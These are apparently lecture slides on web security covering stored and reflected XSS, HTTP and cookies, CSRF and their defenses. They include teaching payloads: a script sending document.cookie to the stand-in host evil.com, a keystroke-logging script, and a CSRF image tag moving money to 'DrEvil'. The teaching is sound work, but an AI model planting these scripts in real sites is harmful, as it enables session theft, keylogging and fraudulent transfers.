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Two Types of XSS 
(Cross-Site Scripting) 

•  There are two main types of XSS attacks 
•  In a stored (or “persistent”) XSS attack, the attacker 

leaves their script lying around on bank.com server 
–  … and the server later unwittingly sends it to your browser 
–  Your browser is none the wiser, and executes it within the 

same origin as the bank.com server 
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E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000 
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E.g., GET http://evil.com/steal/document.cookie 
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Stored XSS: Summary 
•  Target: user with Javascript-enabled browser who visits 

user-generated-content page on vulnerable web service 

•  Attacker goal: run script in user’s browser with same 
access as provided to server’s regular scripts (subvert 
SOP = Same Origin Policy) 

•  Attacker tools: ability to leave content on web server 
page (e.g., via an ordinary browser); optionally, a server 
used to receive stolen information such as cookies 

•  Key trick: server fails to ensure that content uploaded to 
page does not contain embedded scripts 

•  Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); 
(2) requires use of Javascript 



Demo on 
   (1) Finding and 
   (2) Exploiting 
Stored XSS vulnerabilities 



Keys	  pressed:	  <span	  id="keys"></span>	  
<script>	  
	  	  document.onkeypress	  =	  function(e)	  {	  
	  	  	  	  get	  =	  window.event?event:e;	  
	  	  	  	  key	  =	  get.keyCode?get.keyCode:get.charCode;	  
	  	  	  	  key	  =	  String.fromCharCode(key);	  
	  	  	  	  document.getElementById("keys").innerHTML	  	  
	  	  	  	  	  	  	  	  +=	  key	  +	  ",	  "	  ;	  
	  	  	  	  }	  
</script>	  

Squig that does key-logging of anyone viewing it! 



Two Types of XSS 
(Cross-Site Scripting) 

•  There are two main types of XSS attacks 
•  In a stored (or “persistent”) XSS attack, the attacker 

leaves their script lying around on bank.com server 
–  … and the server later unwittingly sends it to your browser 
–  Your browser is none the wiser, and executes it within the 

same origin as the bank.com server 
•  In a reflected XSS attack, the attacker gets you to 

send the bank.com server a URL that has a 
Javascript script crammed into it … 
–  … and the server echoes it back to you in its response 
–  Your browser is none the wiser, and executes the script in 

the response within the same origin as bank.com 
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Example of How 
Reflected XSS Can Come About 
•  User input is echoed into HTML response. 
•  Example: search field 

–  http://bank.com/search.php?term=apple 

–  search.php  responds with 
<HTML>  <TITLE> Search Results </TITLE> 
<BODY> 
Results for $term : 
. . . 
</BODY> </HTML> 

How does an attacker who gets you to visit 
evil.com exploit this? 



Injection Via Script-in-URL 

•  Consider this link on evil.com: (properly URL encoded) 
 http://bank.com/search.php?term= 
  <script> window.open( 
   "http://evil.com/?cookie = " +  
   document.cookie ) </script> 

What if user clicks on this link? 
1)  Browser goes to bank.com/search.php?... 
2)  bank.com returns 

  <HTML> Results for <script> … </script> … 

3)  Browser executes script in same origin as bank.com 
Sends to evil.com  the cookie  for bank.com 



Reflected XSS: Summary 
•  Target: user with Javascript-enabled browser who visits a 

vulnerable web service that will include parts of URLs it 
receives in the web page output it generates 

•  Attacker goal: run script in user’s browser with same 
access as provided to server’s regular scripts (subvert 
SOP = Same Origin Policy) 

•  Attacker tools: ability to get user to click on a specially-
crafted URL; optionally, a server used to receive stolen 
information such as cookies 

•  Key trick: server fails to ensure that output it generates 
does not contain embedded scripts other than its own 

•  Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); 
(2) requires use of Javascript 



Demo on 
   (1) Finding and 
   (2) Exploiting 
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Preventing XSS 

•  Input validation: check that inputs are of expected 
form (whitelisting) 
–  Avoid blacklisting; it doesn’t work well 

•  Output escaping: escape dynamic data before 
inserting it into HTML 
–  < > & ” ’   →   &lt; &gt; &amp; &quot; &#39; 

•  Insert dynamic data into DOM using client-side 
Javascript 
–  Akin to prepared statements 

•  Have server supply a whitelist of the scripts that are 
allowed to appear on a page (CSP) 
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Basic Structure of Web Traffic 

Specified as a GET or POST 
Includes “resource” from URL 

Headers describe browser capabilities 
(Associated data for POST) 
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Basic Structure of Web Traffic 

Includes status code 
Headers describing the answer 

Data for returned item 
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Basic Structure of Web Traffic 

Specified as a GET or POST 
Includes “resource” from URL 

Headers describe browser capabilities 
(Associated data for POST) 

E.g., user clicks on URL: 
http://bank.com/login.html?user=alice&pass=bigsecret  



GET /login.html?user=alice&pass=bigsecret HTTP/1.1 
Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
Referer: http://www.mybank.com/hello-customer.html 

 

HTTP Request 
Method Resource HTTP version 
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Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
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HTTP Request 
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GET /login.html?user=alice&pass=bigsecret HTTP/1.1 
Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
Referer: http://www.bank.com/hello-customer.html 

 

HTTP Request 
Method Resource HTTP version Headers 

The Referer header indicates which web 
page we clicked on to generate this request 



GET /login.html?user=alice&pass=bigsecret HTTP/1.1 
Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
Referer: http://www.bank.com/hello-customer.html 

 

HTTP Request 
Method Resource HTTP version Headers 

Data  (if POST; none for GET) 

Blank line 
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Basic Structure of Web Traffic 

Includes status code 
Headers describing the answer 

Data for returned item 



HTTP/1.0 200 OK 
Date: Sat, 23 Feb 2013 02:20:42 GMT 
Server: Microsoft-Internet-Information-Server/5.0  
Connection: keep-alive 
Content-Type: text/html 
Last-Modified: Fri, 22 Feb 2013 17:39:05 GMT 
Content-Length: 2543 
  
<HTML> Welcome to BearBucks, Alice ... blahblahblah </HTML> 

HTTP Response 

HTTP version Status code Reason phrase Headers 

Data 
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HTTP Cookies 

Includes status code 
Headers describing answer, incl. cookies 

Data for returned item 

Servers can include “cookies” in their replies: state 
that clients store and return on any subsequent 
queries to the same server/domain 
 
Cookie is just a name/value pair.  (Value is a string). 



HTTP/1.0 200 OK 
Date: Sat, 23 Feb 2013 02:20:42 GMT 
Server: Microsoft-Internet-Information-Server/5.0  
Connection: keep-alive 
Content-Type: text/html 
Last-Modified: Fri, 22 Feb 2013 17:39:05 GMT 
Set-Cookie: session=44ebc991  
Content-Length: 2543 
  
<HTML> Welcome to BearBucks, Alice ... blahblahblah </HTML> 

HTTP Response 

HTTP version Status code Reason phrase Headers 

Data 

Cookie Here the server instructs the browser to remember the cookie 
“session” so it & its value will be included in subsequent requests 
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Cookies & Follow-On Requests 

Includes “resource” from URL 
Headers describing browser 

capabilities, including cookies 



GET /moneyxfer.cgi?account=alice&amt=50&to=bob HTTP/1.1 
Accept: image/gif, image/x-bitmap, image/jpeg, */* 
Accept-Language: en 
Connection: Keep-Alive 
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) 
Host: mybank.com 
Cookie: session=44ebc991 
Referer: http://bank.com/login.html?user=alice&pass...  

 

HTTP Request 
Method Resource HTTP version 

Headers 

Data  (if POST; none for GET) 

Blank line 



Cookies & Web Authentication 

•  One very widespread use of cookies is for web 
sites to track users who have authenticated 

•  E.g., once browser fetched http://bank.com/
login.html?user=alice&pass=bigsecret 
with a correct password, server associates value 
of “session” cookie with logged-in user’s info 

•  Now server subsequently can tell: “I’m talking to 
same browser that authenticated as Alice earlier” 

⇒  An attacker who can get a copy of Alice’s cookie 
can access the server impersonating Alice! 
–  “Cookie theft” 



Static Web Content 

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1> 
    <P> This is a test!</P> 
 
  </BODY> 
</HTML> 

Visiting this boring web page will just 
display a bit of content. 



Automatic Web Accesses 

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1> 
    <P> This is a test!</P> 
    <IMG SRC="http://anywhere.com/logo.jpg"> 
  </BODY> 
</HTML> 

Visiting this page will cause our browser 
to automatically fetch the given URL. 



Automatic Web Accesses 

<HTML> 
  <HEAD> 
    <TITLE>Test Page</TITLE> 
  </HEAD> 
  <BODY> 
    <H1>Test Page</H1> 
    <P> This is a test!</P> 
    <IMG SRC="http://xyz.com/do=thing.php..."> 
  </BODY> 
</HTML> 

So if we visit a page under an attacker’s 
control, they can have us visit other URLs 



Web Accesses w/ Side Effects 

•  Recall our earlier banking URL: 
	  
http://bank.com/moneyxfer.cgi?account=alice&amt=50&to=bob	  

•  So what happens if we visit evilsite.com, which 
includes: 

<img	  src="http://bank.com/moneyxfer.cgi?	  
	  	  	  Account=alice&amt=500000&to=DrEvil">	  
–  Our browser issues the request … 
–  … and dutifully includes authentication cookie! :-‐( 

•  Cross-Site Request Forgery (CSRF) attack 



CSRF Defenses 
•  Defenses? 

– Require authentication (not just session cookie!) 
for each side-effecting action – what a pain :-‐( 

– Use unguessable URLs for each action (URL 
includes a random CSRF token) 

–  If URL to transfer money is unguessable: 
http://bank.com/moneyxfer.cgi?
account=alice&amt=50&to=bob&token=5f92ea40	  
then attacker won’t know what to put in 
malicious page 

•  Note: only the server can implement these! 



Summary 

•  Whenever you have stuff from two different 
distrusting sources mixed together in one channel, 
worry about injection attacks 

•  Web applications have to work around shortcomings 
in web security model 


